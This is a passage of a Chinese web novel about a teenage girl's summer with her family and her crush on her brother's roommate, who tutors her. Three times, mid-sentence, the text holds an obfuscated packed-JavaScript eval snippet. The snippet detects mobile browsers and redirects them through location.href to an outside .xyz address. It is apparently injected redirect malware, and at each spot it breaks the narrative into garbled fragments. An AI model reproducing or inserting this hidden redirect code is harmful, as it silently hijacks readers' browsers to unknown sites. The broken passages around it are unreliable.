江译白锁着他的喉咙,在他啊啊啊的求救里温和地回答:“连你这种傻帽都能进来,其他有什么稀奇?” 说完他狠狠地扯开葛朝越的泳镜,又松手让绑带弹回去,崩得葛朝越后脑勺巨痛,尖叫出声。 等到八月中旬,葛思宁的体重终于有了一点的浮动。但是距离她的理想目标,还差得远。 每天照镜子很难察觉区别,她的标准是穿不穿得上那条刺绣牛仔裤。虽然一时半会儿还穿不上,但是一开始是卡在大腿,现在已经勉强能套上了,只是还拉不上链而已。 葛思宁尝到了甜头,怨言也就没那么多了。 江译白问她,“慢慢来的感觉是不是还不错?” 她运动多了,出的汗都在排毒,以前偶尔会失眠,现在很少了,除非她又有了灵感要熬夜写文。 再加上晒多了太阳,补充了维生素,皮肤的炎症也退下去不少。 更重要的是,她的生活变得更加充实了。 葛思宁原本以为这个暑假会以虚度光阴的方式匆匆过去,她的小房间会成为她唯一的心灵庇护所,然而江译白把她扯了出来,还给她如同死水的日常洒了点阳光。 她心里是感谢他的,但是她嘴硬:“如果这个世界上有不费吹灰之力就能暴瘦四十斤的方法,我一定不会选慢慢来。” “好思宁,你想瘦四十斤?这不行。”江译白的关注点在这,他语气严肃地告诉她:“减肥是为了健康,不是为了攀比和迎合。” 不知道从什么时候开始,他对她的昵称就从“思宁”变成了“好思宁”,无论说什么话,都带着点哄人的意味。 最好笑的是有一次被葛朝越听到,葛朝越问她什么时候改姓“郝”了? 葛思宁瞪了他一眼,不和他说话。 细数下来,他们已经足足三天没有说过话了。 起因是葛思宁天天在镜子里观察自己,除了身材,她又开始对脸上的雀斑和痘痘看不顺眼。她偷偷问王远意要了几百块钱,说是要给同学买生日礼物,实则是想去三甲医院看皮肤科。 她脸皮薄,不好意思和家长,更不好意思和葛朝越这个听完绝对会嘲笑自己的人说。 她考虑过让江译白带自己去,但是又觉得自己这样做很臭美,表现得很在乎外貌,那她靠才华吃饭的人设还要不要了? 思来想去,从拿到钱到出门,都是偷偷摸摸的。殊不知葛朝越在听到她要钱的时候,就已经识破了她的谎话。 他扯着江译白一起去一探究竟,并且解释这外人看不出的玄机:“葛思宁这个性格,哪有什么好朋友?还生日会?我看她八成是又要搞什么幺蛾子,拿钱去买男男小说和周边……” 原以为跟踪的目的地会是书店,结果来到了医院。 看着葛思宁挂号,江译白抖了抖被葛朝越扯得皱巴巴的短袖,皱起眉头,“她怎么了?” 葛朝越也一头雾水,张嘴就倒打一耙:“不是你妹么!你问我?” 担心葛思宁真的有什么事,两个人都不敢轻举妄动,看她碰了几次壁最后顺利找到了诊室,他们站在院门口外面等,最后等到一个脸红成猴屁股的葛思宁。 “哈哈哈哈哈哈!” 葛朝越看她第一眼,就没忍住爆笑出声,它完全忽略葛思宁难看的脸色,伸手抢过她手里的手续单和药膏,大刺刺地念出来:“本品适用于以治疗脓包、粉刺和丘疹为主要表现的重度寻常型痤疮的局部治疗……” 江译白都没来得及反应,就见在医生的推荐下做完针清、正在心情低落期的葛思宁当场甩了葛朝越的背一巴掌,力气之大,仿佛都能听到五脏六腑移位的声音。 并且喜提妹妹的冷战套餐。 葛朝越见她真的生气了,整天跟在葛思宁的屁股后面,学江译白的调调叫她“好妹妹”,结果葛思宁一点不受用。 他们家隔壁搬来一户新邻居,在院子里浇花的时候看到江译白带着葛思宁晨跑好几天了,过来送礼、打招呼的时候还以为江译白就是葛思宁亲哥,气得葛朝越上蹿下跳。 江译白问她,为什么葛朝越放低了姿态,你还是不理她? 葛思宁翻了个白眼,“都是演的,一点诚意也没有!” 他笑笑,又问,“那我是不是很有诚意?和葛朝越相比,你会不会更想我当你哥哥?” 共处了那么久,两个人熟悉、了解了以后,江译白的本性逐渐暴露。以前只在葛朝越面前显露的那一面,他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16267288|182139||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也逐渐表现给葛思宁。 不过在他心里,这件事从某种意义上来说是场交换。 葛思宁给予了他柔软的一面,他愿意给她回馈。 江译白是这样想的,殊不知葛思宁看着他那张微笑着的漂亮脸蛋,连眉梢都带着风情,心里暗暗骂人。 勾引谁呢? “说话,想不想?”他肆无忌惮地捏她的脸。 和江译白肢体接触就像是葛思宁的开关,她每次都跟触电一样恨不得一蹦三尺高,这次也不例外。 葛思宁打掉他的手,很不自在地说:“不想。” “哦。”他也不失落。 已经习惯了她说反话。 过了两天,葛朝越私底下偷偷塞给葛思宁一个快递,葛 思宁狐疑地拆了,看了一眼,咳嗽一声,和他和解了。 江译白问他送了什么礼物给小葛总,葛朝越说:“她喜欢的那本小说,无删版。我好不容易收的二手。” “……” 费尽心思不如灵机一动,葛家兄妹和好没几天,又闹起来了。 这次的导火索是王远意看葛思宁吃早餐,觉得她坚持了这么久不容易,心疼得不行,打量着今天给她做几个好菜补充一下营养。 葛思宁一边吞水煮蛋一边说:“不用。” 江译白也在旁边解释,“没事的叔叔,我每天给思宁准备的饭都很健康,每一顿都保证她能摄入蛋白质、碳水、膳食纤维……人体需要的元素一个都不会少。” 葛朝越坐在旁边故意吃煎饼诱惑葛思宁,闻言也一本正经地点头,“没错,特别是膳食纤维,特别丰富,有时候我去上厕所,闻到那个味道就知道葛思宁刚拉过……” “啊!” 葛思宁气得掀桌而起,恨不得将他暴打,再不济也要把他的嘴缝起来! 暑假就这么闹腾过去了,八月底,他们一家人连同江译白在院子里烧烤、放烟花。 葛天舒三句不离正事,还没开学就已经开始操心葛思宁的军训,葛朝越拍着葛思宁的肩膀,发现居然都能隐约摸到骨头的轮廓了,当即信口开河:“妈你就别操心了!我看以葛思宁现在的身体素质,送她去当兵都行。” 葛思宁沉默地从江译白手里接过钳子,夹了一块烧得火红的炭,直奔葛朝越的屁股怼。 吓得葛朝越在草坪上摔了个屁股蹲,她才放肆地大笑出声。 葛天舒看着他们闹,难得没批评,反而说:“就怕小江回去上学了,思宁就不动了。” “不会的阿姨,思宁现在都很自觉了。有时候我起不来,她自己也会去跑。学习也是,有时候我忘了给她布置课后作业,她自己也会写。” 很少有家教在带完葛思宁以后还夸得出口的,葛天舒听得心情不错,放任他们玩到很晚。 玩到最后王远意出来让他们三个人小声一点,葛思宁打了个哈欠,困得眼泪都出来了,见他们两个男的还没有睡觉的意思,她不服输的劲上来了,打算去洗个澡清醒一下,待会再回来和他们扯闲篇。 客厅已经关灯了,葛思宁包着干发帽下楼,脚步轻轻的,害怕吵醒大人。 她看到院子里亮起点点烟火,隐约听到有人声,她悄悄过去,想吓葛朝越一跳。 越靠越近,声音越来越清晰。 她听见江译白说:“我想去你妈公司实习。” 8. 第 8 章 “哥哥。”葛思宁做题的时候冷不丁地开口,“如果你很缺钱的话,我可以和妈妈说我开学以后还想补习。” 她目不斜视地盯着试卷,余光察觉到江译白从教辅里抬头,却没有选择和他对视。 她加快了语速:“就是要辛苦你每周末从学校坐车过来。平时还要操心一下我的成绩波动。你也知道,我妈是唯结果论者,如果我成绩下降的话,她可能就……” 江译白用笔敲了敲桌子,打断了她。 “怎么突然说这个?” 葛思宁心算很快,但是她现在心乱如麻,在草稿纸上飞速列式,平时能轻易得出得数的题目在此时变得难以确认。 她谨慎地说:“我哥之前和我说过给我当家教的时薪,说很贵,要我好好学。虽然我不知道在外面实习多少钱一个月,但是我觉得应该没有给我上课赚得多……” 她自以为很高深的话术,其实错漏百出,短短几句就把想隐瞒的全抖落了出来,还把想含糊过去的全揭穿了。 江译白听完一愣,想起昨天他和葛朝越单独聊天的时候,突然听到客厅里传来什么东西被撞掉了的声音。 他低头往桌子底下看了眼,葛思宁此地无银三百两地缩了下腿。她今天穿的是长裤。 江译白咧唇,“撞出淤青了?” 葛思宁嘴巴里发出一些细碎的声音,没否认也没承认。 江译白看了眼她的解题过程。 于公于私,他都不是很想把课堂时间浪费在这件事上。 他对葛思宁的感情很单纯,和葛朝越一样,只是比葛朝越多一点怜惜。 所以很多大人的事,社会的残酷,个人的竞争力等等等等原因,他都不想让十五岁的葛思宁提前知道。 他挑了个最直接的原因说:“实习的事,是因为葛朝越不去,所以我才想去的。” 葛天舒的公司每年都会开放实习岗位,虽然名额很少,但她有权力留给自己人。 葛朝越志在别处,江译白便和他商量了一下。 反正是他不需要的,葛朝越答应得很爽快。 葛思宁闻言眨眨眼,问:“那你去实习,是因为缺钱吗?” 她似乎很担心这个问题。 江译白寻思自己看起来也没那么穷吧,吃穿用度虽然没有陈锐和葛朝越他们那么铺张奢侈,但起码也是清爽利落的。他还经常请葛思宁吃东西呢。 无从得知她怎么会这样想,江译白托着下巴故意问她:“如果我说是,思宁是要给我钱吗?” 葛思宁摇头,“我没有钱给你。” 这是真的。 葛天舒在孩子身上也实施公司那套,惩罚分明和竞升机制,所以平时不怎么给她钱。 江译白揉了揉她的脑袋,把她头发揉乱了。 “那你还问?” “我就问问怎么了?关心你啊。” “你又帮不上忙。” 他开玩笑的,但是葛思宁当真了,小心脏被扎了一下,冷硬地说:“你别忘了你现在是从我身上赚钱。” 这句话一出来,房间里有一瞬陷入安静。 她张张唇,想想找补,却不知如何应对他泄露出来的一丝落寞。 最后还是江译白打破了沉默。 “对,所以我才说,思宁好,好思宁。” 葛思宁却突然讨厌起这种叫法。 她不想江译白是因为这种原因才这样叫她。 那天晚上她难得没写文。 江译白这个名字被她搬到另一个本子里。 封皮上写着:小宁の日记 那天她这样写:20xx年x月x日 [他好奇怪,明明是他先说难听的话惹我的。但是,我发现自己讨厌看到他难过。] - 葛思宁做针清要定时去,王远意知道了以后说要开车载她,她却总是拒绝。 小姑娘长大了,开始抗拒家长的面面俱到,这种体贴在她们眼里变得烦人,问多了还会将其曲解成不自由的象征。 但是安全问题很重要,所以王远意让葛朝越带她去。 葛朝越有时候偷懒,嫌太热不想出门,就会把这个任务丢给江译白。 “你不是还有一个哥哥吗?”他总这么说。 江译白也不否认,任劳任怨地陪葛思宁去。 有时候开电动车,有时候坐公交。偶尔在外面带葛思宁吃点家里人不让她吃的垃圾食品,美其名曰“放纵餐”。 葛思宁对上次的事“怀恨在心”,这次出来故意点了一个超级套餐,她只挑贵的点,根本没考虑吃不吃得完。 江译白付钱的时候没什么犹豫,心里早就看穿了她睚眦必报的小心思,他只说:“不吃完不准走。” 葛思宁:“……” 于是那天两个人在麦当劳待到天黑。 中途王远意来电话,江译白说他带她在外面吃。 经过一个暑假的相处,王远意已经在江译白的礼貌和靠谱中对他产生了充分信任。 有时候他要出门,没时间喂鱼,宁愿把这件事交给江译白,都不会叮嘱吊儿郎的葛朝越。 葛朝越还抱怨过他现在不止偏心葛思宁,还偏心干儿子。 至于江译白是什么时候变成他的干儿子的,没人追究。 葛思宁倒是刻意提过,江译白反问她:“那你平时为什么叫我哥哥?” “因为你比我大啊。” “也没大多少。” “五岁还不多吗?” “不多。”他睁眼说瞎话。 两个人面对面坐,中间放着一盘薯条,一个板烧鸡腿堡,一个红豆派,一盒麦乐鸡。 江译白低头,用眼神示意葛思宁。 葛思宁捂着嘴,摇头,讨饶了。 再吃她就要吐了。 江译白满意了,找服务员要了个袋子,打包回去给葛朝越吃。 葛思宁推门出去才发现天已经黑了,月上梢头,江译白居然为了和她较劲不惜浪费那么多时间。 他说,“我没跟你较劲,我是想让你知道浪费粮食的下场。” 葛思宁嗤了一声,心里骂他道貌岸然。 麦当劳离家不远,他们决定走路回去。 两个人并排,他手里的袋子偶尔会碰到葛思宁的腿。 她都能预判葛朝越的反应了,于是打趣道:“我们这样好像喂狗啊。” 只有昏暗路灯投射下光芒的小巷里,江译白的一声笑像一颗石子一样掉进她内心的洞穴里。 看似瞬间无影无踪了,其实在她不为人知深处,还荡漾着回响。 后面有摩托车经过,车灯投射过来,葛思宁往后看了一眼,差点被蹭到。这个差点在于江译白眼疾手快地拉住她的手,把她拉到了自己身侧。 “怎么开车的?看不到前面有人吗。”他说了这么一句,语气里带着明显的怒气。 葛思宁几乎没见过他生气,按理说她应该觉得新鲜的,但是此刻她却完全没有闲情处理她的好奇,因为她的心整颗都被江译白牵着的手占据。 八月末的风还带着一股燥意,天气预报总是说今明两天都是大晴天,实则喜欢突然发布暴雨预警。有时候倒也没下,但是空气很闷。 葛思宁的手心贴着他的手心,竟然也不觉得热,明明其他地方都已经紧张到流汗了,她还有心思琢磨他手掌的宽度。 “哥哥……”就这样牵着手走了五分钟,葛思宁开口提醒。 “嗯?” 江译白跟没事人一样,没松手。 葛思宁看着他的背影,突然想起前几天量身高的时候,葛朝越说她长高了五厘米,还恭喜她终于突破160了。 可是即便如此,她还是得把头仰起来,才能看到江译白的一点侧脸。 那个同样炎热的夏夜,她没牵到的手,在今天牵到了。 葛思宁却一点也不开心。 因为她知道,江译白那天避嫌是因为她对他还不熟悉,他害怕吓到她。 而今天他们牵手,一是因为他们关系慢慢变好了,二是他害怕待会后面还有车。 但无论熟悉或不熟悉,江译白的出发点都在于,她是妹妹。 是小孩子。 - 暑假快要结束了,葛朝越比葛思宁开学晚,还能送她去学校。不过补习提前结束了,江译白和葛天舒申请的,说是要让葛思宁喘口气。 葛思宁不知道自己该松口气还是叹口气,但是王远意说要给她买一个开学礼物,她很开心。 “不行。” 虽然是爸爸出钱,但是妈妈也是家里的成员,所以葛思宁得考虑她的意见。而葛天舒想也不想,就否决了。 “我对狗毛过敏。”她给出了没有余地的理由。 葛思宁很伤心,但是没办法。 王远意甚至和葛天舒商量过了,问她养猫可不可以,葛天舒和他吵架的声音隔着一层楼都听得见。 她去找葛朝越,让哥哥给爸爸发微信,说她不要了。猫和狗都不要。 葛朝越盯着她看了几秒,突然伸手怜爱地摸了摸她的脸蛋。 “别难过,等你独立了,就能有自己的小猫小狗了。” “嗯。” 她这么平静,葛朝越反而不知道要说什么了。 有一天江译白带她从游泳馆回来,看见葛朝越鬼鬼祟祟地从葛思宁房间出来。 “靠!”他把江译白带回房间,锁上门,“你知道我妹的房间里发现了什么吗?!” 他把那个本子从短袖下摆拿出来,跟特工交换秘密文件一样慎重小心。 “我本来是想偷偷塞点零花钱到她的抽屉里,找地方藏的时候居然被我看到了这个!” 葛朝越向来一惊一乍,江译白已经习惯了狼来了的故事了。他一屁股坐在懒人沙发上,不是很感兴趣的样子:“什么东西?” “同人文!” “哦。”来她家第一天江译白就已经知道葛思宁的小爱好了。他甚至知道葛思宁一直在继续写小说,因为她贴在墙上的便利贴中有她写的小片段,便利贴每隔几天就会增加,她以为没人看,可能江译白比别人多了两只眼睛吧。 葛朝越被他平淡的反应气得不轻,直说了。 “是你和我,还有陈锐的同人文!” “……” 沉默几秒,江译白无声地绑紧了裤带,问:“你看了?” “看了。” “侵犯隐私?我要告诉妹听。” “我操,”葛朝越拦住站起来的江译白,“不是,我在跟你分享惊天大秘密,你怎么出卖我呢?” “你难道都不觉得很恐怖吗?很膈应人吗?我两的一举一动对葛思宁来说都是素材,我们的友好交流在她看来都是基佬在调情!” 江译白听到基佬两个字,嘴角抽了抽,但是他还是客观地认为:“我觉得如果她知道这件事被我知道了,才更恐怖更膈应人。” 江译白表情平静,“觉得尴尬最好就是装不知道。现在的青少年,精神压力大。她整天呆在家里,也就这点爱好,你别毁了她的幻想。你忘了你妈快刀斩乱麻留下的后遗症了?” “我怎么就毁了她的幻想了?我还给她买无删书呢!你怎么不说她把我写得这么坏这么渣呢?!” 江译白耸肩,“我又没看。而且我选择不看。” 他又说,“你换位思考一下,你姐在你房间里发现了ssis-448,你是希望她装不知道,还是兴师问罪?” 葛朝越沉默了。 半晌,他别扭地用本子怼了怼江译白。 “那你帮我把本子送回去。” “凭什么?”江译白才不帮他擦屁股,“我出去一趟,希望回来的时候不会看到你们大打出手。” 葛朝越在后面喂了半天,江译白都没有理他,他抓抓头发,非常暴躁。 这他妈叫什么事啊! - 葛思宁选择了走读,所以不用像住校生一样为了搬行李而提前返校。 她在家里吃最后一顿晚饭,明天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16267289|182139||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这个时间就要在学校里上晚自习了。 王远意说什么都要做一桌子菜,葛思宁跟江译白商量好,晚点出去夜跑。 她开学了,江译白打算提前返校。 这很正常,毕竟他住在葛家是为了给葛思宁补习。王远意虽然留过他,让他继续给葛思宁上周末课,但是江译白拒绝了。 葛天舒说,“小江下学期要来我们公司实习,哪有空。” 她说得很坦然,仿佛早就决定了。 葛思宁才反应过来,她天天和江译白待在一起,但是他做了很多事自己还是不知道。而他这个人,她好像也并不完全了解。 奇怪的是葛朝越也要跟江译白一起回去。 问他原因,他支支吾吾半天。 王远意问他是不是在学校里谈恋爱了,他说没有。 葛思宁虽然好奇,但是开学的恐惧战胜了她的好奇,她现在满脑子都被新生活提前带来的焦虑所霸占。 以至于夜跑的时候江译白停下来了,她还傻乎乎地往前。 她回头,听见他说,“回去了。就到这里吧,思宁。” “今天这么早?” 葛思宁气喘吁吁,流汗让她的焦虑有所缓解,但是她知道自己今晚还是会睡不着。 “嗯,有事跟你说。” “什么?” “要送你礼物。”他好像没给人准备过惊喜,就这样直接说了出来。 但是效果奇佳,葛思宁跟在他身后紧张得手都发抖。 江译白回了趟房间,再出来的时候手里拎了个购物袋。 葛思宁认识那个牌子,这样的玩具她有很多,不过都是小时候买的了。 认真算那些玩偶的年纪,约等于六年级的小学生。 她拆开,是一只毛绒小狗。 小狗的尾巴上贴了一张便利贴,是江译白的字迹。 拆礼物的时候她迫不及待,现在看手写信却退却了。葛思宁慢吞吞地问:“能看吗?” 她猜不到江译白会写什么。 “当然。”江译白做了个请便的手势。 [——给勇敢的少女。] 很飘逸的行楷,但是话未免也太短了。 她在心里吐槽。 把便利贴小心翼翼地收起来,葛思宁问,“勇敢的少女,你是指我?” 江译白挑眉,“不然呢?” “我不觉得我是个勇敢的人。” 或许连少女也不算。 葛思宁还是穿不下那条牛仔裤,拉链只能拉到一半; 脸上的痘痘虽然好了一点,但是留下了不少疤痕,并且显得雀斑更明显了。 迄今为止她在他面前不知道丢了多少脸,掉了多少眼泪,做了多少不用以后、现在想起来都已经觉得幼稚的事情——她不明白江译白怎么还会这么看待她,她觉得自己德不配位。 “那就当做是我的祝福。”他说,“祝愿你在新的环境,新的学校里,长出新的翅膀,任意飞翔。” 葛思宁不知道说什么才好。 她有点想哭,但是又觉得丢脸,忍了忍,问:“你和葛朝越明天回学校是么?” “嗯。送完你我们就走。” “我过两天要军训。” “我知道。你军训完,我们刚好开学。” 葛思宁心里暗骂了句脏话,说不对!她的意思是,她希望他们能留到她军训结束回来那天再走。 可是江译白没懂。 也或许他有别的事情要做。 葛思宁伤心了,玩着小狗的尾巴,说好吧。 江译白以为她是因为害怕开学而情绪不高,还特地收敛了让她好好学习之类的话,以免给她压力。 “好思宁,别难过,未来一定比你想象中有趣。” 他给她分享了很多他高中时候的趣事,一直说到深夜。 以往他总是会出于健康考虑,在某个时间段里提醒葛思宁去睡觉。 但是离别前的夜晚有魔力,不舍让关心卡在江译白的喉咙里半天没说。 他们认识这么久第一次彻夜长谈,最后分离于夏夜晚风中。 本来很累、应该早睡的葛思宁躺回床上,却一点困意也没有。 她爬到书桌前,翻阅她即将完成的故事,马上就要结尾了,她却还没有决定让谁陪江译白走到最后。 她想了很久很久,突然觉得写不下去了。 她的灵感中断了,她的人物枯竭了——因为她无论是对情节还是对主角本身的认知都太浅薄了。 她笔力不够,写出来的江译白没有真实的他万分之一好,像纸糊的人,风吹就散,雨打就破。 葛思宁为此感到非常挫败。 她把这个故事缩进底层的抽屉里,抱着膝盖坐在桌前,等待天明。 太阳升起来的时候,她知道,夏天结束了。 和气温无关,是她的太阳、游泳馆、小狗、数学题、雨滴还有汗水,要告一段落了。 - 葛思宁军训回来那天,家里安静不少。 王远意跟在她后面进门,去学校里接她顺路去超市买了菜,葛思宁将一部分蔬果放在桌子上,王远意说:“我来就好,思宁你去帮我把鱼喂了。” 葛思宁拿着钥匙去花房,许久没来,花又开了一轮,早就不是七月底的光景了,当下有当下的漂亮。 她认识王远意的每一条金鱼,所以很容易发现新成员。 王远意单独买了一个鱼缸来养它,可谓“椒房之宠”。 葛思宁隔着玻璃看了这条百褶泰狮很久,她知道这不是王远意喜欢的品种,也不是他感兴趣的类型,如此隆重,或许是因为送的人,也或许是因为价格不菲。 她想起自己的小狗,突然就明白,这条金鱼是谁送的了。 - 金鱼吐着泡泡,她在数数。 那天她蹲在角落里,也在数数。 数到一千九百九十九的时候,有人来找她了。 他发现了不眠的金鱼在哭泣。 9. 第 9 章 毛绒小狗一岁了。 [生日快乐。] 葛思宁在那一天写下了这句话。 院子里传来汽车的声音,她跑到落地窗边去看,葛朝越的车正在曲折地入库。 她拉开窗哈哈大笑两声,故意给车技不好的人听。 天气太热,葛朝越真的上火了,熄灭了引擎,打开车门,指着楼上:“葛思宁,下来!” “我又不会开车。”她嬉皮笑脸地躲回房间里。 在空调房待久了,被阳光稍微晒到,身体就忽冷忽热。 葛思宁背靠着墙,感觉心跳的声波穿透身体,波及至整个房间。 她耳朵竖起来,听了外面的动静好几分钟,却只捕捉到葛朝越的声音。 心脏慢慢冷却。 她已经很久没有过期待了,所以久违地迎接失落,颇有些束手无策。 葛思宁倒回床上,脸埋在枕头里,拖鞋还挂在脚趾上。 楼梯传来脚步声,她莫名一烦,心想葛朝越怎么还没完没了了? 他的车技烂是公认的事,她嘲笑他也不是第一次了,怎么还较上真了。 葛思宁数着节拍,果然有人敲门。 她装死,不理会。 “什么睡着了,你是没看见她刚才在楼上有多欠揍……” 他好像在和楼下的人说话。 葛思宁一下子睁开了眼睛。 今天爸妈不在家。 他在和谁说话? 客厅的回应她听不见,只能听到葛朝越哼了一声,然后更为剧烈的敲门声响起:“葛思宁!你别以为我不知道你在里面!起床!” 葛思宁已经起来了。 准确来说,她是弹起来的。 葛朝越的话像噪音,她根本听不清,刚才平复下来的心跳在听到另一道脚步声的时候猛地加速,葛思宁想也不想,拖鞋都没穿好,光着脚就打开了门。 四目相对。 正抬步上来的江译白一愣。 葛思宁看着他,他也看着葛思宁。 一个是失落后失而复得,一个是理所当然。 她不知道这个暑假都快结束了,江译白还会不会来。 可江译白知道,她会在家。 所以尽管葛思宁的表情已经十分狰狞,江译白却没有读懂她颤抖的眉眼。 他仰望着葛思宁,目光和笑容都一如既往。 “思宁,你好。” - 他故意的。 葛思宁在院子里给王远意的花浇水。 是爸爸出门前叮嘱的,葛思宁忘记了。 她穿着睡裙,头发用手抓了抓绑成一个丸子,整个人的精神面貌乃至心情都有些凌乱。 还思宁你好,她家是什么旅游景点,她又是什么npc吗?说来就来,说打招呼就打招呼,打了她一个措手不及,他们之前又不是没见过!搞那么正式干嘛? 葛思宁冷着脸回头看了眼在光线明亮的客厅里交谈的两个年轻男人,视线带着几分恼怒。 江译白注意到了,看过来,她又马上扭过头去。 来也不知道提前说!葛思宁腹诽道,江译白不说就算了,连葛朝越也没说。 葛朝越这个暑假几乎都不在家,在宿舍里备考专业证书。葛天舒说他们学校放假也不断水断电,而且他其他舍友都在,大家一起学习比较有氛围。 葛思宁前几天问他什么时候回来,他说下周二。 可今天是周末! 当时葛思宁又试探性地问,你是一个人回来吗? 葛朝越说应该是吧。 “你舍友不来?” “你问哪个?” “……” 葛思宁有小心思,所以心虚,她觉得葛朝越大概率是看穿她了,在故意捉弄,索性不回了,免得他抓到自己的把柄。 想到这,葛思宁本来还想回头偷听他们说话的,这下突然有骨气了,认真浇花,装不在意。 倒是江译白,从她的行为举止中读出几分赌气,却不明白为什么。 少女经历了一年的成长,已经出落得亭亭玉立。 他若有所思地观察葛思宁的背影,发现她好像长高了不少。 葛朝越见他分心,跟随他的视线,瞥到快把花浇死的小女孩,呵呵了两声。 “小丫头片子。” 江译白被他打断神思,收回了视线,喝了口水:“干嘛这样说。” “不然怎么说?”葛朝越目光冷冷,“还嘲笑我车技不行,等她成年了考驾照就知道她哥有多厉害了。” 江译白放下杯子,“这事还早,况且你车技确实不行。” 葛朝越吸了口凉气,想反驳,但是这是事实。而且江译白开车的技术比他好太多,他在别人的优势里没有反驳的底气,于是只能揪着葛思宁不放:“不早了,小丫头说长大就长大了,你看,她去年还只到我胸口,今年就到下巴了。” 他爸妈都高,所以葛思宁不会矮。 虽然有所预料,但还是会为她变化之快速而感到惊讶。 “嗯。”江译白想到什么,“我刚见她的时候也有点意外。” “是吧。” “你爸妈管她还是那么严?” “还好吧。”马上就大四了,葛朝越也不怎么回家,“她现在成绩稳定下来了,很多事也就随她去了。” “高一的假期还蛮多的吧。”江译白说,“但平时也不怎么见她出去玩。” “你怎么知道?” “没看她发过朋友圈。” 高一开学的时候,王远意买了一部手机给葛思宁当开学礼物,葛天舒虽然有异议,但是考虑到现在没有手机寸步难行,也就同意了,不过对使用时间有限制。 而葛思宁开通了微信以后,第一个加的人是葛朝越。 那时候葛朝越还苦口婆心又有点贱兮兮地说:“期待一个学期过去以后你的好友列表能多几个人。葛思宁,你是我妹,你不会在新学校里一个朋友都交不到吧?” “神经。”葛思宁当时骂了这么一句,并且那个周末都没理他。 葛朝越也不哄,这是他的激将法。 结果周一回到学校,突然收到葛思宁的消息。 小宁鱼:[你好。] 葛朝越:[?] 葛朝越:[你搞什么飞机?还你好,有事直说。还有,你取的什么微信名。] 葛朝越:[小~宁~鱼~] 葛朝越:[美人鱼的故事看多了?] 葛思宁气得马上就改。 宁:[关你p事。] 葛朝越:[这么脆弱啊?小宁鱼。] 宁:[你有种别回家^^] 葛朝越当时在宿舍打牌呢,脸上都快被他的对家江译白贴满了,还分神回:[有事?] 微信名称那栏从“宁”到“正在输入中”切换了半天,葛朝越又打了两局,实在贴不下了,葛思宁才回。 宁:[我想加个人。] 葛朝越:[who] 宁:[你舍友。] 葛朝越捏着手机发出爆笑,虽然猜到葛思宁想加的是哪个,但是还是很不厚道地把聊天记录给宿舍里的其他人看。 其他舍友忍俊不禁,葛朝越拍着江译白的肩膀,故意报复:“才开学多久,你就失去哥哥和家教的身份,变成‘我舍友’了。” “哎哟,好狠心的葛思宁,好可怜的江译白。” “我都说了她是头小白眼狼了,你不信。” 江译白扫了一眼聊天记录,面上很淡定。 葛朝越一边说,一边举高手机给宿舍里的四个人拍了张合影。 发给葛思宁。 [要哪个?] 他打字的时候笑到发抖,被江译白拍了一巴掌。 “给钱了,还笑。” “等等,哈哈哈哈……多少?” “五百零八,我要支付宝。” “我草。”葛朝越听到这个数字,还不死心地数了下,结果真的输了那么多,一下子就笑不出来了。 收好折叠牌桌,各自去洗澡。 葛朝越躺回床上玩手机,江译白过来推他的脑袋。 “干嘛?” 他把手里丢给葛朝越:“你妹的手机号,输。” - “啧啧啧。” 葛朝越想起那个痛失五百块的夜晚,再看一直站在外面晒太阳不肯进来的葛思宁,又开始扎江译白的心:“这么久不见,妹妹都不认得你咯。” 江译白扫他一眼,却没说话,葛朝越就知道他吃瘪了。 遥想起一年前的暑假,葛思宁还经常跟在他屁股后面跑。 不过是短短一年的光景,就不理人了。 葛朝越装模作样地叹了口气:“唉,早跟你说了她难养熟,非不信。上次寒假你顺路过来拜年的时候她对你的态度就大不如前,更何况是现在。” “还有朋友圈。” 葛朝越 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16267290|182139||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 其实也很少看到葛思宁的动态,他还特地问过她是不是把自己屏蔽了,非要葛思宁截图才相信没有。 他吃过的苦,现在也要用来挤兑江译白:“该不会是屏蔽你了吧?” 葛朝越记得昨天葛思宁才发过动态,但是江译白可能没看到,他借这个信息差阴阳怪气,拿出界面给他看:“我怎么能看到?你看不到吗?” 江译白拿出手机,点开葛思宁的头像,确实空空如也。 葛朝越吓到了,哇塞,真的啊? 那条动态是:祝我的小狗生日快乐。 配图是一个小狗玩具。 江译白拿过葛朝越的手机看。 发现葛思宁不仅屏蔽了他,而且发的照片还是他去年送给她的礼物。 - 葛思宁浇完水,不想进去,就坐在树荫下的摇椅里小寐。 她昨晚没睡着。 因为葛朝越一直没告诉她,会不会带人回来。 是和否的概率各一半,她的天平摇摇晃晃,无论哪边高哪边低,带给她的心情都很磨人。 江译白。 她在心里默默地念了遍他的名字。 树影随风在她眼皮上晃动,葛思宁微微用了点力气,带动摇椅晃起来。 